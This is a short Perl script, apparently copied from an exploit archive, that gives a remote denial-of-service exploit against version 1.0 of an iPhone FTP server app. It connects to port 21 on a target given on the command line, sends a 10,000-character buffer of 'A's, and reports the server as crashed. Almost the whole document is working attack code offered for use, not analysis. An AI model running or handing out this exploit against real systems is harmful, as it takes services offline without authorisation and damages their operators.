1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 |
#!/usr/bin/perl # # Exploit: FTP Server By Zhang Boyang - Remote Dos Exploit # Date: 24/02/10 # Author: Ale46 # Software Link: http://itunes.apple.com/us/app/ftp-server/id356055128?mt=8 # Version: 1.0 # Tested on: Iphone 3GS with 3.1.2 firmware # Greetz: Gandalf use IO::Socket; if (@ARGV<1){ print ("[-]\tUsage: ./ftpServer <server_ip>\n"); exit(); } my $host = $ARGV[0]; my $port = 21; my $stuff = "A"*10000; my $socket = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => $port); unless ($socket) { die "Can\'t connect to $host" } print "[-]\tConnected to FTP Server\n\n"; sleep(2); print "[-]\tSending evil buffer..\n\n"; sleep(2); print $socket $stuff; sleep(2); print "[-]\tPUAAA..Crashed..\n"; |